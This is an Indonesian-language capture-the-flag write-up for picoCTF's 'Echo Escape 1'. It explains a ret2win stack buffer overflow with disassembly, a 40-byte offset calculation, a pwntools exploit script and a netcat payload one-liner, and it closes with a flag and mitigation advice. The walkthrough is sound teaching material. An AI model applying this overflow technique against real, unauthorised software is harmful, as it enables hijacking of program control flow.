# picoCTF (CyLab) - Echo Escape 1 Write-Up

## Informasi Challenge

| Atribut | Detail |
|---|---|
| Nama Challenge | Echo Escape 1 |
| Kategori | Binary Exploitation |
| Tingkat Kesulitan | Medium |
| Poin | 100 |
| Files | `vuln` (binary), `vuln.c` (source code) |

## Deskripsi Challenge

Sebuah service echo yang mengklaim "secure" berjalan di server remote. Deskripsi tantangannya:

```
The "secure" echo service welcomes you politely… but what if you don't stay polite?
Can you make it reveal the hidden flag?
```

Dua hint yang diberikan:
1. Kenapa program menggunakan buffer berukuran 32 byte tapi membaca input sampai 128 byte?
2. Bisakah kita mengarahkan ulang (redirect) alur eksekusi program?

Kedua hint ini mengarah langsung ke kerentanan **stack buffer overflow**.

## Memahami Kerentanannya (ret2win)

Challenge ini adalah pola klasik **ret2win** dalam binary exploitation. Konsepnya:

- Program membaca input user ke dalam buffer stack berukuran tetap.
- Program membaca **lebih banyak byte daripada kapasitas buffer**, tanpa validasi panjang.
- Byte berlebih tersebut menimpa memori stack di sekitarnya, termasuk **saved return address**.
- Binary ini memiliki fungsi `win()` (yang tidak pernah dipanggil dalam alur program normal) yang mencetak isi flag.
- Dengan menimpa return address dengan alamat `win()`, eksekusi program akan diarahkan ke sana begitu fungsi yang rentan selesai (return).

Poin penting:
- Tidak ada stack canary, sehingga overwrite pada return address tidak akan terdeteksi sebelum fungsi return.
- Tidak ada PIE (Position Independent Executable), sehingga semua alamat di binary — termasuk `win()` — bersifat tetap dan sudah diketahui, jadi tidak perlu melakukan address leak.
- NX (non-executable stack) tidak menjadi masalah di sini, karena kita tidak menyuntikkan shellcode — kita hanya menggunakan ulang kode yang sudah ada di dalam binary.

## Analisis

Pengecekan proteksi biner dengan `checksec`:

```
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
```

Disassembly `main()` menunjukkan letak bug-nya:

```asm
lea    rax,[rbp-0x20]      ; buffer hanya 32 byte
mov    edx,0x80            ; tapi read() dipanggil dengan panjang 128!
mov    esi,rax
mov    edi,0x0
call   read@plt
```

Binary juga memiliki fungsi `win()` di alamat tetap:

```asm
0000000000401256 <win>:
  ...
  call   fopen@plt     ; fopen("flag.txt", "r")
  call   fread@plt
  call   fwrite@plt    ; mencetak isi flag.txt
```

Struktur stack frame `main()`:

```
[ buffer  32 byte ]        <- rbp-0x20
[ saved rbp   8 byte ]
[ return address 8 byte ]  <- target overwrite
```

Offset menuju return address: `32 + 8 = 40 byte`.

## Solusi

### Metode 1: Exploit Manual dengan pwntools

```python
from pwn import *

context.log_level = "info"

e = ELF("./vuln")
win_addr = e.symbols["win"]  # 0x401256

HOST = "mysterious-sea.picoctf.net"
PORT = 61977

p = remote(HOST, PORT)

payload = b"A" * 40 + p64(win_addr)
p.send(payload)

print(p.recvall(timeout=3).decode(errors="ignore"))
```

Jalankan dengan:

```bash
python3 solver.py
```

### Metode 2: Manual dengan netcat + payload mentah

Jika tidak ingin membuat script, byte payload bisa dibuat manual dan dikirim lewat `nc`:

```bash
python3 -c "print('A'*40 + '\x56\x12\x40\x00\x00\x00\x00\x00')" | nc mysterious-sea.picoctf.net 61977
```

(Catatan: byte alamat harus dalam urutan little-endian agar sesuai dengan `0x401256`.)

## Verifikasi

Sebelum dijalankan ke server remote, exploit ini diuji dulu terhadap binary lokal untuk memastikan offset dan alamat target sudah benar. Fungsi `win()` berhasil ter-trigger — dibuktikan dari error `fopen` pada `flag.txt` (yang memang tidak ada di environment lokal, tapi membuktikan kode di dalam `win()` benar-benar tereksekusi):

```
Welcome to the secure echo service!
Please enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x12@
Thank you for using our service.
[!] Failed to open flag.txt: No such file or directory
```

Di instance remote, `flag.txt` benar-benar ada, sehingga `win()` akan mencetak flag yang sesungguhnya.

## Flag

```
picoCTF{3ch0_s3rv1c3_br34k5_7287203f}
```
*(didapatkan dengan menjalankan exploit terhadap instance remote yang aktif — nilai sebenarnya tergantung instance masing-masing)*

## Kesimpulan (Key Takeaways)

1. **Buffer overflow terjadi karena panjang input tidak divalidasi** — di sini, `read()` dipanggil dengan panjang lebih besar daripada buffer tujuan.
2. **Tanpa stack canary + tanpa PIE = eksploitasi jadi mudah** — tidak perlu leak alamat, tidak ada deteksi crash sebelum return address digunakan.
3. **"Kode mati" belum tentu benar-benar mati** — fungsi `win()` terlihat tidak pernah dipanggil dalam alur program normal, tapi tetap bisa dieksploitasi lewat control-flow hijacking.
4. **Perhitungan offset adalah kunci utama** — mengetahui persis berapa byte jarak antara input kita dan return address adalah yang membuat payload berhasil.
5. **Mitigasi yang seharusnya mencegah ini:** mengaktifkan stack canary (`-fstack-protector-all`), mengaktifkan PIE (`-pie -fPIE`), dan menggunakan fungsi input yang aman terhadap panjang, bukan `read()` dengan ukuran yang lebih besar dari buffer.
